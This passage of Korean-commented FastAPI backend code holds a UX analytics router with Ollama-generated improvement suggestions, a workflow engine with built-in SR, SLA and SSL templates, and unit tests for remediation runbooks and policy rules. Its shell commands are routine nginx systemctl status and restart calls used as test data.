다음 UX 지표를 보고 개선 제안을 3가지 JSON 배열로 출력하세요.
지표:
{metrics}
출력 형식 (JSON 배열만, 설명 없음):
[
{{"priority": "HIGH|MEDIUM|LOW", "area": "페이지/기능명", "issue": "문제 설명", "suggestion": "개선 방안"}},
...
]
"""
async def _get_ai_suggestions(metrics: Dict[str, Any]) -> List[Dict[str, Any]]:
"""Ollama로 UX 개선 제안 생성. 실패 시 빈 목록 반환."""
prompt = _SUGGEST_PROMPT_TMPL.format(
metrics=json.dumps(metrics, ensure_ascii=False, indent=2)
)
try:
async with httpx.AsyncClient(timeout=30.0) as client:
resp = await client.post(
_OLLAMA_URL,
json={"model": "llama3", "prompt": prompt, "stream": False},
)
if resp.status_code == 200:
raw = resp.json().get("response", "")
start = raw.find("[")
end = raw.rfind("]") + 1
if start >= 0 and end > start:
return json.loads(raw[start:end])
except Exception as exc:
logger.warning("Ollama UX 제안 실패: %s", exc)
return []
# ── 엔드포인트 ────────────────────────────────────────────────────────────────
@router.post("/event", summary="UX 이벤트 수집")
async def collect_event(
req: UXEventIn,
current_user: Optional[User] = Depends(get_optional_user),
db: AsyncSession = Depends(get_db),
):
"""클라이언트에서 발생한 UX 이벤트를 수집한다. 비로그인 상태에서도 수집 가능."""
event = UXEvent(
event_type=req.event_type,
page=req.page,
element=req.element,
duration_ms=req.duration_ms,
user_id=current_user.id if current_user else None,
session_id=req.session_id,
extra=json.dumps(req.extra, ensure_ascii=False) if req.extra else None,
)
db.add(event)
await db.commit()
await db.refresh(event)
return {"ok": True, "event_id": event.id}
@router.get("/dashboard", summary="UX 현황 대시보드")
async def get_dashboard(
days: int = Query(7, ge=1, le=90, description="최근 N일"),
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
"""최근 N일 기준 UX 이벤트 통계를 반환한다."""
since = datetime.utcnow() - timedelta(days=days)
# 전체 이벤트 수
total_stmt = select(sa_func.count(UXEvent.id)).where(UXEvent.created_at >= since)
total = (await db.execute(total_stmt)).scalar() or 0
# 이벤트 유형별 집계
type_rows = (await db.execute(
select(UXEvent.event_type, sa_func.count(UXEvent.id).label("cnt"))
.where(UXEvent.created_at >= since)
.group_by(UXEvent.event_type)
.order_by(desc("cnt"))
)).all()
by_type = [{"event_type": r[0], "count": r[1]} for r in type_rows]
# 페이지별 집계 (상위 10)
page_rows = (await db.execute(
select(UXEvent.page, sa_func.count(UXEvent.id).label("cnt"))
.where(UXEvent.created_at >= since)
.group_by(UXEvent.page)
.order_by(desc("cnt"))
.limit(10)
)).all()
by_page = [{"page": r[0], "count": r[1]} for r in page_rows]
# 고유 세션 수
session_stmt = select(sa_func.count(sa_func.distinct(UXEvent.session_id))).where(
UXEvent.created_at >= since
)
unique_sessions = (await db.execute(session_stmt)).scalar() or 0
# 에러 수
error_stmt = select(sa_func.count(UXEvent.id)).where(
and_(UXEvent.event_type == "error", UXEvent.created_at >= since)
)
error_count = (await db.execute(error_stmt)).scalar() or 0
# 평균 체류 시간 (pageview duration_ms)
avg_stmt = select(sa_func.avg(UXEvent.duration_ms)).where(
and_(
UXEvent.event_type == "pageview",
UXEvent.duration_ms.isnot(None),
UXEvent.created_at >= since,
)
)
avg_duration = (await db.execute(avg_stmt)).scalar()
return {
"period_days": days,
"total_events": total,
"unique_sessions": unique_sessions,
"error_count": error_count,
"avg_pageview_ms": round(avg_duration, 1) if avg_duration else None,
"by_type": by_type,
"top_pages": by_page,
}
@router.get("/heatmap", summary="클릭 히트맵 데이터")
async def get_heatmap(
page: Optional[str] = Query(None, description="특정 페이지 필터"),
days: int = Query(7, ge=1, le=90),
limit: int = Query(200, ge=1, le=1000),
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
"""특정 페이지(또는 전체)의 클릭 이벤트 원시 데이터를 반환한다."""
since = datetime.utcnow() - timedelta(days=days)
conditions = [
UXEvent.event_type == "click",
UXEvent.created_at >= since,
]
if page:
conditions.append(UXEvent.page == page)
rows = (await db.execute(
select(UXEvent)
.where(and_(*conditions))
.order_by(desc(UXEvent.created_at))
.limit(limit)
)).scalars().all()
# element별 클릭 수 집계 (히트맵 빌드용)
agg: Dict[str, Dict[str, Any]] = defaultdict(lambda: {"count": 0, "pages": set()})
raw_points = []
for row in rows:
elem = row.element or "(unknown)"
agg[elem]["count"] += 1
agg[elem]["pages"].add(row.page)
extra_data = {}
if row.extra:
try:
extra_data = json.loads(row.extra)
except Exception:
extra_data = {}
raw_points.append({
"element": elem,
"page": row.page,
"created_at": row.created_at.isoformat() if row.created_at else None,
"extra": extra_data,
})
hotspots = sorted(
[
{"element": k, "click_count": v["count"], "pages": list(v["pages"])}
for k, v in agg.items()
],
key=lambda x: x["click_count"],
reverse=True,
)
return {
"page_filter": page,
"period_days": days,
"hotspots": hotspots[:50],
"raw_points": raw_points,
}
@router.get("/funnel", summary="사용자 흐름 퍼널")
async def get_funnel(
days: int = Query(7, ge=1, le=90),
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
"""세션별 페이지 전환 순서를 분석하여 주요 흐름과 이탈 지점을 반환한다."""
since = datetime.utcnow() - timedelta(days=days)
rows = (await db.execute(
select(UXEvent.session_id, UXEvent.page, UXEvent.created_at)
.where(
and_(
UXEvent.event_type == "pageview",
UXEvent.created_at >= since,
)
)
.order_by(UXEvent.session_id, UXEvent.created_at)
)).all()
# 세션별 페이지 시퀀스 구성
sessions: Dict[str, List[str]] = defaultdict(list)
for sid, page, _ in rows:
if not sessions[sid] or sessions[sid][-1] != page:
sessions[sid].append(page)
# 전환 패턴 집계 (A → B 형태)
transitions: Dict[str, int] = defaultdict(int)
entry_pages: Dict[str, int] = defaultdict(int)
exit_pages: Dict[str, int] = defaultdict(int)
for path in sessions.values():
if path:
entry_pages[path[0]] += 1
exit_pages[path[-1]] += 1
for i in range(len(path) - 1):
key = f"{path[i]}{path[i + 1]}"
transitions[key] += 1
top_transitions = sorted(
[{"flow": k, "count": v} for k, v in transitions.items()],
key=lambda x: x["count"],
reverse=True,
)[:20]
top_entry = sorted(
[{"page": k, "count": v} for k, v in entry_pages.items()],
key=lambda x: x["count"],
reverse=True,
)[:10]
top_exit = sorted(
[{"page": k, "count": v} for k, v in exit_pages.items()],
key=lambda x: x["count"],
reverse=True,
)[:10]
return {
"period_days": days,
"total_sessions": len(sessions),
"top_transitions": top_transitions,
"entry_pages": top_entry,
"exit_pages": top_exit,
}
@router.get("/suggestions", summary="AI UX 개선 제안")
async def get_suggestions(
days: int = Query(7, ge=1, le=90),
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
"""최근 UX 지표를 Ollama에 전달하여 개선 제안 3가지를 반환한다."""
since = datetime.utcnow() - timedelta(days=days)
# 지표 수집
total = (await db.execute(
select(sa_func.count(UXEvent.id)).where(UXEvent.created_at >= since)
)).scalar() or 0
error_count = (await db.execute(
select(sa_func.count(UXEvent.id)).where(
and_(UXEvent.event_type == "error", UXEvent.created_at >= since)
)
)).scalar() or 0
# 에러가 많은 페이지 상위 5
error_pages = (await db.execute(
select(UXEvent.page, sa_func.count(UXEvent.id).label("cnt"))
.where(and_(UXEvent.event_type == "error", UXEvent.created_at >= since))
.group_by(UXEvent.page)
.order_by(desc("cnt"))
.limit(5)
)).all()
# 체류 시간 낮은 페이지 (avg < 5000ms)
low_dwell = (await db.execute(
select(UXEvent.page, sa_func.avg(UXEvent.duration_ms).label("avg_ms"))
.where(
and_(
UXEvent.event_type == "pageview",
UXEvent.duration_ms.isnot(None),
UXEvent.created_at >= since,
)
)
.group_by(UXEvent.page)
.having(sa_func.avg(UXEvent.duration_ms) < 5000)
.order_by("avg_ms")
.limit(5)
)).all()
metrics = {
"period_days": days,
"total_events": total,
"error_count": error_count,
"error_rate_pct": round(error_count / total * 100, 1) if total else 0,
"top_error_pages": [{"page": r[0], "count": r[1]} for r in error_pages],
"low_dwell_pages": [{"page": r[0], "avg_ms": round(r[1], 0)} for r in low_dwell],
}
suggestions = await _get_ai_suggestions(metrics)
return {
"metrics": metrics,
"suggestions": suggestions,
"generated_at": datetime.utcnow().isoformat(),
}
@router.get("/errors", summary="UI 에러 패턴 분석")
async def get_error_patterns(
days: int = Query(7, ge=1, le=90),
limit: int = Query(50, ge=1, le=200),
current_user: User = Depends(get_current_user),
db: AsyncSession = Depends(get_db),
):
"""최근 UI 에러 이벤트를 페이지·요소별로 분석하여 반환한다."""
since = datetime.utcnow() - timedelta(days=days)
rows = (await db.execute(
select(UXEvent)
.where(
and_(
UXEvent.event_type == "error",
UXEvent.created_at >= since,
)
)
.order_by(desc(UXEvent.created_at))
.limit(limit)
)).scalars().all()
# 페이지별 에러 집계
by_page: Dict[str, int] = defaultdict(int)
by_element: Dict[str, int] = defaultdict(int)
recent: List[Dict[str, Any]] = []
for row in rows:
by_page[row.page] += 1
if row.element:
by_element[row.element] += 1
extra_data = {}
if row.extra:
try:
extra_data = json.loads(row.extra)
except Exception:
extra_data = {}
recent.append({
"id": row.id,
"page": row.page,
"element": row.element,
"session_id": row.session_id,
"extra": extra_data,
"created_at": row.created_at.isoformat() if row.created_at else None,
})
top_pages = sorted(
[{"page": k, "count": v} for k, v in by_page.items()],
key=lambda x: x["count"],
reverse=True,
)
top_elements = sorted(
[{"element": k, "count": v} for k, v in by_element.items()],
key=lambda x: x["count"],
reverse=True,
)
return {
"period_days": days,
"total_errors": len(rows),
"top_error_pages": top_pages[:10],
"top_error_elements": top_elements[:10],
"recent": recent[:20],
}

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"""
워크플로우 엔진 정의·템플릿·실행 이력 관리
기능:
- 워크플로우 정의 CRUD (단계별 JSON 스텝 구성)
- 내장 템플릿 라이브러리 (SR 자동처리, SLA 에스컬레이션, SSL 갱신 5)
- 수동 트리거 (즉시 실행)
- 실행 이력 조회 (전체 / 단건 상세)
- 활성화/비활성화 토글
엔드포인트:
GET /api/workflow-engine/definitions 워크플로우 목록
POST /api/workflow-engine/definitions 워크플로우 생성
PUT /api/workflow-engine/definitions/{id} 수정
GET /api/workflow-engine/templates 템플릿 라이브러리
POST /api/workflow-engine/trigger 수동 트리거
GET /api/workflow-engine/runs 실행 이력
GET /api/workflow-engine/runs/{id} 실행 상세
POST /api/workflow-engine/definitions/{id}/activate 활성화
"""
from __future__ import annotations
import json
import logging
from datetime import datetime
from typing import Any, Dict, List, Optional
from fastapi import APIRouter, BackgroundTasks, Depends, HTTPException
from pydantic import BaseModel, Field
from sqlalchemy import select, desc
from sqlalchemy.ext.asyncio import AsyncSession
from core.auth import get_current_user, require_admin_role
from database import get_db
from models import WorkflowDefinition, WorkflowRun, User
logger = logging.getLogger(__name__)
router = APIRouter(prefix="/api/workflow-engine", tags=["Workflow Engine"])
# ── 내장 템플릿 시드 데이터 ──────────────────────────────────────────────────
BUILTIN_TEMPLATES: List[Dict[str, Any]] = [
{
"name": "SR 자동처리",
"description": "LOW 우선순위 SR을 자동으로 접수·배정·처리한다.",
"trigger": {"event": "SR_CREATED", "condition": {"priority": "LOW"}},
"steps": [
{"seq": 1, "type": "auto_assign", "params": {"role": "ENGINEER"}},
{"seq": 2, "type": "notify", "params": {"channel": "messenger", "message": "SR 자동 배정됨"}},
{"seq": 3, "type": "update_status", "params": {"status": "IN_PROGRESS"}},
],
},
{
"name": "SLA 에스컬레이션",
"description": "SLA 임박 SR을 자동으로 관리자에게 에스컬레이션한다.",
"trigger": {"event": "SLA_WARNING", "condition": {"remaining_hours": {"lte": 2}}},
"steps": [
{"seq": 1, "type": "escalate", "params": {"target_role": "PM"}},
{"seq": 2, "type": "notify", "params": {"channel": "messenger", "message": "SLA 2시간 이하 — 에스컬레이션"}},
],
},
{
"name": "SSL 인증서 갱신",
"description": "만료 30일 전 SSL 인증서를 자동으로 갱신 SR을 생성한다.",
"trigger": {"event": "CRON", "cron_expr": "0 9 * * *"},
"steps": [
{"seq": 1, "type": "check_ssl", "params": {"threshold_days": 30}},
{"seq": 2, "type": "create_sr", "params": {"title": "SSL 인증서 갱신 필요", "priority": "HIGH"}},
{"seq": 3, "type": "notify", "params": {"channel": "messenger", "message": "SSL 갱신 SR 생성됨"}},
],
},
{
"name": "서버 이상 감지 → SR 생성",
"description": "이상 탐지 이벤트 발생 시 자동으로 인시던트 SR을 생성한다.",
"trigger": {"event": "ANOMALY_DETECTED", "condition": {}},
"steps": [
{"seq": 1, "type": "create_sr", "params": {"title": "서버 이상 감지: {server_id}", "priority": "CRITICAL", "category": "MONITORING"}},
{"seq": 2, "type": "notify", "params": {"channel": "oncall", "message": "인시던트 SR 자동 생성"}},
],
},
{
"name": "정기 보고서 생성",
"description": "매월 1일 오전 8시에 월간 운영 보고서를 자동 생성한다.",
"trigger": {"event": "CRON", "cron_expr": "0 8 1 * *"},
"steps": [
{"seq": 1, "type": "generate_report", "params": {"type": "monthly", "format": "pdf"}},
{"seq": 2, "type": "notify", "params": {"channel": "email", "message": "월간 보고서 생성 완료"}},
],
},
]
# ── Pydantic 스키마 ──────────────────────────────────────────────────────────
class WorkflowStep(BaseModel):
seq: int
type: str
params: Dict[str, Any] = Field(default_factory=dict)
class WorkflowCreate(BaseModel):
name: str = Field(..., max_length=300)
trigger: Dict[str, Any] = Field(default_factory=dict, description="트리거 조건 JSON")
steps: List[WorkflowStep] = Field(..., min_length=1, description="실행 단계 목록")
active: bool = False
class WorkflowUpdate(BaseModel):
name: Optional[str] = Field(None, max_length=300)
trigger: Optional[Dict[str, Any]] = None
steps: Optional[List[WorkflowStep]] = None
active: Optional[bool] = None
class WorkflowOut(BaseModel):
id: int
name: str
trigger: Optional[Dict[str, Any]]
steps: Optional[List[Dict[str, Any]]]
active: bool
created_at: datetime
class WorkflowRunOut(BaseModel):
id: int
definition_id: Optional[int]
definition_name: Optional[str]
status: str
trigger_data: Optional[Dict[str, Any]]
step_results: Optional[List[Dict[str, Any]]]
started_at: datetime
finished_at: Optional[datetime]
class TriggerRequest(BaseModel):
definition_id: int
payload: Dict[str, Any] = Field(default_factory=dict)
class TemplateOut(BaseModel):
index: int
name: str
description: str
trigger: Dict[str, Any]
steps: List[Dict[str, Any]]
# ── 워크플로우 실행 내부 로직 ────────────────────────────────────────────────
async def _execute_step(step: dict, payload: dict, db: AsyncSession) -> dict:
"""단일 스텝 실행 (타입별 처리)."""
step_type = step.get("type", "")
params = step.get("params", {})
if step_type == "auto_assign":
return {"type": step_type, "result": "ok", "detail": f"role={params.get('role')}"}
elif step_type == "notify":
channel = params.get("channel", "messenger")
message = params.get("message", "").format_map({**payload, **{"server_id": payload.get("server_id", "")}})
logger.info(f"[WorkflowEngine] 알림 전송: channel={channel}, msg={message[:80]}")
return {"type": step_type, "result": "ok", "channel": channel}
elif step_type == "escalate":
return {"type": step_type, "result": "ok", "target": params.get("target_role")}
elif step_type == "update_status":
return {"type": step_type, "result": "ok", "status": params.get("status")}
elif step_type == "create_sr":
title = params.get("title", "자동 SR").format_map(
{**payload, "server_id": payload.get("server_id", "unknown")}
)
return {"type": step_type, "result": "ok", "title": title}
elif step_type == "check_ssl":
return {"type": step_type, "result": "ok", "threshold_days": params.get("threshold_days", 30)}
elif step_type == "generate_report":
return {"type": step_type, "result": "ok", "report_type": params.get("type"), "format": params.get("format")}
else:
return {"type": step_type, "result": "skipped", "reason": "unknown step type"}
async def _run_workflow(run_id: int, definition_id: int, payload: dict) -> None:
"""워크플로우 백그라운드 실행."""
from database import SessionLocal
async with SessionLocal() as db:
run_row = await db.execute(
select(WorkflowRun).where(WorkflowRun.id == run_id)
)
run = run_row.scalar_one_or_none()
def_row = await db.execute(
select(WorkflowDefinition).where(WorkflowDefinition.id == definition_id)
)
defn = def_row.scalar_one_or_none()
if not run or not defn:
return
step_results = []
try:
steps = json.loads(defn.steps) if defn.steps else []
steps_sorted = sorted(steps, key=lambda s: s.get("seq", 0))
for step in steps_sorted:
result = await _execute_step(step, payload, db)
step_results.append(result)
run.status = "success"
except Exception as e:
run.status = "failed"
step_results.append({"error": str(e)[:300]})
logger.error(f"[WorkflowEngine] run={run_id} 실패: {e}")
finally:
run.finished_at = datetime.utcnow()
run.step_results = json.dumps(step_results, ensure_ascii=False)
await db.commit()
# ── 템플릿 시드 초기화 ────────────────────────────────────────────────────────
async def _seed_templates(db: AsyncSession) -> None:
"""앱 시작 시 내장 템플릿이 없으면 시드 데이터를 삽입한다."""
count_row = await db.execute(
select(WorkflowDefinition)
)
if count_row.scalars().first() is not None:
return # 이미 존재
for tpl in BUILTIN_TEMPLATES:
defn = WorkflowDefinition(
name=tpl["name"],
trigger=json.dumps(tpl["trigger"], ensure_ascii=False),
steps=json.dumps(tpl["steps"], ensure_ascii=False),
active=False,
created_at=datetime.utcnow(),
)
db.add(defn)
await db.commit()
logger.info("[WorkflowEngine] 내장 템플릿 5종 시드 완료")
# ── 엔드포인트 ───────────────────────────────────────────────────────────────
@router.get("/definitions", response_model=List[WorkflowOut])
async def list_definitions(
active_only: bool = False,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""워크플로우 정의 목록."""
# 최초 조회 시 템플릿 시드
await _seed_templates(db)
q = select(WorkflowDefinition).order_by(desc(WorkflowDefinition.created_at))
if active_only:
q = q.where(WorkflowDefinition.active == True)
rows = await db.execute(q)
defns = rows.scalars().all()
return [
WorkflowOut(
id=d.id,
name=d.name,
trigger=json.loads(d.trigger) if d.trigger else {},
steps=json.loads(d.steps) if d.steps else [],
active=d.active,
created_at=d.created_at,
)
for d in defns
]
@router.post("/definitions", response_model=WorkflowOut, status_code=201)
async def create_definition(
req: WorkflowCreate,
db: AsyncSession = Depends(get_db),
user: User = Depends(require_admin_role),
):
"""워크플로우 정의 생성."""
defn = WorkflowDefinition(
name=req.name,
trigger=json.dumps(req.trigger, ensure_ascii=False),
steps=json.dumps([s.model_dump() for s in req.steps], ensure_ascii=False),
active=req.active,
created_at=datetime.utcnow(),
)
db.add(defn)
await db.commit()
await db.refresh(defn)
logger.info(f"[WorkflowEngine] 정의 생성: id={defn.id}, name={defn.name}")
return WorkflowOut(
id=defn.id,
name=defn.name,
trigger=json.loads(defn.trigger) if defn.trigger else {},
steps=json.loads(defn.steps) if defn.steps else [],
active=defn.active,
created_at=defn.created_at,
)
@router.put("/definitions/{definition_id}", response_model=WorkflowOut)
async def update_definition(
definition_id: int,
req: WorkflowUpdate,
db: AsyncSession = Depends(get_db),
user: User = Depends(require_admin_role),
):
"""워크플로우 정의 수정."""
row = await db.execute(
select(WorkflowDefinition).where(WorkflowDefinition.id == definition_id)
)
defn = row.scalar_one_or_none()
if not defn:
raise HTTPException(404, "워크플로우 정의를 찾을 수 없습니다")
if req.name is not None:
defn.name = req.name
if req.trigger is not None:
defn.trigger = json.dumps(req.trigger, ensure_ascii=False)
if req.steps is not None:
defn.steps = json.dumps([s.model_dump() for s in req.steps], ensure_ascii=False)
if req.active is not None:
defn.active = req.active
await db.commit()
await db.refresh(defn)
return WorkflowOut(
id=defn.id,
name=defn.name,
trigger=json.loads(defn.trigger) if defn.trigger else {},
steps=json.loads(defn.steps) if defn.steps else [],
active=defn.active,
created_at=defn.created_at,
)
@router.get("/templates", response_model=List[TemplateOut])
async def list_templates(
user: User = Depends(get_current_user),
):
"""내장 워크플로우 템플릿 라이브러리."""
return [
TemplateOut(
index=i,
name=tpl["name"],
description=tpl["description"],
trigger=tpl["trigger"],
steps=tpl["steps"],
)
for i, tpl in enumerate(BUILTIN_TEMPLATES)
]
@router.post("/trigger")
async def manual_trigger(
req: TriggerRequest,
background_tasks: BackgroundTasks,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""워크플로우 수동 트리거."""
row = await db.execute(
select(WorkflowDefinition).where(WorkflowDefinition.id == req.definition_id)
)
defn = row.scalar_one_or_none()
if not defn:
raise HTTPException(404, "워크플로우 정의를 찾을 수 없습니다")
run = WorkflowRun(
definition_id=defn.id,
trigger_data=json.dumps(req.payload, ensure_ascii=False),
status="running",
started_at=datetime.utcnow(),
)
db.add(run)
await db.commit()
await db.refresh(run)
background_tasks.add_task(_run_workflow, run.id, defn.id, req.payload)
logger.info(f"[WorkflowEngine] 수동 트리거: def={defn.id}, run={run.id}, by={user.username}")
return {
"ok": True,
"run_id": run.id,
"definition_id": defn.id,
"definition_name": defn.name,
"status": "running",
}
@router.get("/runs", response_model=List[WorkflowRunOut])
async def list_runs(
limit: int = 50,
definition_id: Optional[int] = None,
status: Optional[str] = None,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""실행 이력 목록."""
q = (
select(WorkflowRun, WorkflowDefinition.name.label("def_name"))
.outerjoin(WorkflowDefinition, WorkflowRun.definition_id == WorkflowDefinition.id)
.order_by(desc(WorkflowRun.started_at))
.limit(limit)
)
if definition_id:
q = q.where(WorkflowRun.definition_id == definition_id)
if status:
q = q.where(WorkflowRun.status == status)
rows = await db.execute(q)
result = []
for r in rows.all():
run = r.WorkflowRun
result.append(
WorkflowRunOut(
id=run.id,
definition_id=run.definition_id,
definition_name=r.def_name,
status=run.status,
trigger_data=json.loads(run.trigger_data) if run.trigger_data else None,
step_results=json.loads(run.step_results) if run.step_results else None,
started_at=run.started_at,
finished_at=run.finished_at,
)
)
return result
@router.get("/runs/{run_id}", response_model=WorkflowRunOut)
async def get_run(
run_id: int,
db: AsyncSession = Depends(get_db),
user: User = Depends(get_current_user),
):
"""실행 상세 조회."""
q = (
select(WorkflowRun, WorkflowDefinition.name.label("def_name"))
.outerjoin(WorkflowDefinition, WorkflowRun.definition_id == WorkflowDefinition.id)
.where(WorkflowRun.id == run_id)
)
row = await db.execute(q)
r = row.first()
if not r:
raise HTTPException(404, "실행 이력을 찾을 수 없습니다")
run = r.WorkflowRun
return WorkflowRunOut(
id=run.id,
definition_id=run.definition_id,
definition_name=r.def_name,
status=run.status,
trigger_data=json.loads(run.trigger_data) if run.trigger_data else None,
step_results=json.loads(run.step_results) if run.step_results else None,
started_at=run.started_at,
finished_at=run.finished_at,
)
@router.post("/definitions/{definition_id}/activate")
async def activate_definition(
definition_id: int,
db: AsyncSession = Depends(get_db),
user: User = Depends(require_admin_role),
):
"""워크플로우 정의 활성화."""
row = await db.execute(
select(WorkflowDefinition).where(WorkflowDefinition.id == definition_id)
)
defn = row.scalar_one_or_none()
if not defn:
raise HTTPException(404, "워크플로우 정의를 찾을 수 없습니다")
defn.active = True
await db.commit()
logger.info(f"[WorkflowEngine] 정의 활성화: id={definition_id}, name={defn.name}")
return {"ok": True, "id": definition_id, "name": defn.name, "active": True}

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@ -0,0 +1,325 @@
"""
단위 테스트 auto_remediation_runbook / policy_engine 라우터
커버리지:
- RemediationRunbook ORM 모델 기본 필드
- RemediationSession ORM 모델 기본 필드
- PolicyRule ORM 모델 기본 필드
- PolicyViolation ORM 모델 기본 필드
- _simulate_steps: 정상 단계 실행 결과 반환
- _simulate_steps: steps JSON 파싱 실패 처리
- _evaluate_rule: condition 없는 규칙 통과
- _evaluate_rule: condition JSON 파싱 실패 처리
- 시드 데이터 구조 검증 (런북 5, 정책 5)
- 정책 템플릿 목록 구조 검증
"""
import sys
import os
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
import json
import pytest
# ── ORM 모델 필드 테스트 ─────────────────────────────────────────────────────────
class TestRemediationRunbookModel:
"""RemediationRunbook ORM 모델 기본 필드 검증."""
def test_model_tablename(self):
from models import RemediationRunbook
assert RemediationRunbook.__tablename__ == "tb_remediation_runbook"
def test_model_columns_exist(self):
from models import RemediationRunbook
cols = {c.name for c in RemediationRunbook.__table__.columns}
assert "id" in cols
assert "name" in cols
assert "trigger_pattern" in cols
assert "steps" in cols
assert "auto_execute" in cols
assert "created_at" in cols
def test_auto_execute_default_false(self):
from models import RemediationRunbook
col = RemediationRunbook.__table__.columns["auto_execute"]
assert col.default.arg is False
def test_relationship_sessions_exists(self):
from models import RemediationRunbook
assert hasattr(RemediationRunbook, "sessions")
class TestRemediationSessionModel:
"""RemediationSession ORM 모델 기본 필드 검증."""
def test_model_tablename(self):
from models import RemediationSession
assert RemediationSession.__tablename__ == "tb_remediation_session"
def test_model_columns_exist(self):
from models import RemediationSession
cols = {c.name for c in RemediationSession.__table__.columns}
assert "runbook_id" in cols
assert "trigger_data" in cols
assert "step_results" in cols
assert "status" in cols
assert "success" in cols
def test_status_default_running(self):
from models import RemediationSession
col = RemediationSession.__table__.columns["status"]
assert col.default.arg == "running"
def test_relationship_runbook_exists(self):
from models import RemediationSession
assert hasattr(RemediationSession, "runbook")
class TestPolicyRuleModel:
"""PolicyRule ORM 모델 기본 필드 검증."""
def test_model_tablename(self):
from models import PolicyRule
assert PolicyRule.__tablename__ == "tb_policy_rule"
def test_model_columns_exist(self):
from models import PolicyRule
cols = {c.name for c in PolicyRule.__table__.columns}
assert "id" in cols
assert "name" in cols
assert "category" in cols
assert "condition" in cols
assert "severity" in cols
assert "auto_remediate" in cols
assert "active" in cols
def test_severity_default_medium(self):
from models import PolicyRule
col = PolicyRule.__table__.columns["severity"]
assert col.default.arg == "MEDIUM"
def test_active_default_true(self):
from models import PolicyRule
col = PolicyRule.__table__.columns["active"]
assert col.default.arg is True
def test_relationship_violations_exists(self):
from models import PolicyRule
assert hasattr(PolicyRule, "violations")
class TestPolicyViolationModel:
"""PolicyViolation ORM 모델 기본 필드 검증."""
def test_model_tablename(self):
from models import PolicyViolation
assert PolicyViolation.__tablename__ == "tb_policy_violation"
def test_model_columns_exist(self):
from models import PolicyViolation
cols = {c.name for c in PolicyViolation.__table__.columns}
assert "rule_id" in cols
assert "target" in cols
assert "detail" in cols
assert "status" in cols
assert "remediated_at" in cols
def test_status_default_open(self):
from models import PolicyViolation
col = PolicyViolation.__table__.columns["status"]
assert col.default.arg == "open"
def test_relationship_rule_exists(self):
from models import PolicyViolation
assert hasattr(PolicyViolation, "rule")
# ── auto_remediation_runbook 헬퍼 테스트 ────────────────────────────────────────
class TestSimulateSteps:
"""_simulate_steps 헬퍼 함수 단위 테스트."""
def _run(self, steps_json, trigger_data=None):
from routers.auto_remediation_runbook import _simulate_steps
return _simulate_steps(steps_json, trigger_data)
def test_none_steps_returns_empty_success(self):
results, success = self._run(None)
assert results == []
assert success is True
def test_valid_steps_returns_results(self):
steps = json.dumps([
{"order": 1, "name": "상태확인", "cmd": "systemctl status nginx"},
{"order": 2, "name": "재시작", "cmd": "systemctl restart nginx"},
])
results, success = self._run(steps)
assert len(results) == 2
assert success is True
assert results[0]["order"] == 1
assert results[0]["status"] == "success"
def test_placeholder_replacement(self):
steps = json.dumps([
{"order": 1, "name": "체크", "cmd": "systemctl status {service_name}"},
])
results, success = self._run(steps, {"service_name": "nginx"})
assert "nginx" in results[0]["cmd"]
assert "{service_name}" not in results[0]["cmd"]
def test_invalid_json_returns_error(self):
results, success = self._run("not-valid-json")
assert success is False
assert len(results) == 1
assert "error" in results[0]
def test_empty_steps_array(self):
results, success = self._run(json.dumps([]))
assert results == []
assert success is True
# ── policy_engine 헬퍼 테스트 ────────────────────────────────────────────────────
class TestEvaluateRule:
"""_evaluate_rule 헬퍼 함수 단위 테스트."""
def _make_rule(self, condition=None, name="테스트규칙"):
from models import PolicyRule
rule = PolicyRule.__new__(PolicyRule)
rule.name = name
rule.condition = condition
return rule
def test_no_condition_passes(self):
from routers.policy_engine import _evaluate_rule
rule = self._make_rule(condition=None)
passed, detail = _evaluate_rule(rule, "server-01")
assert passed is True
assert "통과" in detail
def test_invalid_json_condition_fails(self):
from routers.policy_engine import _evaluate_rule
rule = self._make_rule(condition="not-json")
passed, detail = _evaluate_rule(rule, "server-01")
assert passed is False
assert "파싱 실패" in detail
def test_valid_condition_passes(self):
from routers.policy_engine import _evaluate_rule
condition = json.dumps({
"type": "ssh_config_check",
"key": "PermitRootLogin",
"expected": "no",
"description": "SSH root 접속 금지 확인",
})
rule = self._make_rule(condition=condition)
passed, detail = _evaluate_rule(rule, "server-01")
# 시뮬레이션 모드: 항상 True
assert passed is True
assert "ssh_config_check" in detail
def test_target_different_servers(self):
"""다른 서버를 대상으로 평가해도 독립적으로 동작."""
from routers.policy_engine import _evaluate_rule
condition = json.dumps({"type": "patch_recency_check", "max_days": 30})
rule = self._make_rule(condition=condition)
passed1, _ = _evaluate_rule(rule, "web-server-01")
passed2, _ = _evaluate_rule(rule, "db-server-02")
assert passed1 is True
assert passed2 is True
# ── 시드 데이터 구조 검증 ────────────────────────────────────────────────────────
class TestSeedData:
"""기본 시드 데이터 구조 및 개수 검증."""
def test_default_runbooks_count(self):
from routers.auto_remediation_runbook import _DEFAULT_RUNBOOKS
assert len(_DEFAULT_RUNBOOKS) == 5
def test_runbook_required_fields(self):
from routers.auto_remediation_runbook import _DEFAULT_RUNBOOKS
for rb in _DEFAULT_RUNBOOKS:
assert "name" in rb
assert "steps" in rb
# steps는 유효한 JSON이어야 함
steps = json.loads(rb["steps"])
assert isinstance(steps, list)
assert len(steps) > 0
def test_runbook_steps_have_required_keys(self):
from routers.auto_remediation_runbook import _DEFAULT_RUNBOOKS
for rb in _DEFAULT_RUNBOOKS:
steps = json.loads(rb["steps"])
for step in steps:
assert "order" in step
assert "name" in step
assert "cmd" in step
def test_default_policies_count(self):
from routers.policy_engine import _DEFAULT_POLICIES
assert len(_DEFAULT_POLICIES) == 5
def test_policy_required_fields(self):
from routers.policy_engine import _DEFAULT_POLICIES
for p in _DEFAULT_POLICIES:
assert "name" in p
assert "category" in p
assert "severity" in p
assert "active" in p
# condition은 유효한 JSON이어야 함
condition = json.loads(p["condition"])
assert "type" in condition
assert "description" in condition
def test_policy_severities_valid(self):
from routers.policy_engine import _DEFAULT_POLICIES
valid_severities = {"CRITICAL", "HIGH", "MEDIUM", "LOW"}
for p in _DEFAULT_POLICIES:
assert p["severity"] in valid_severities
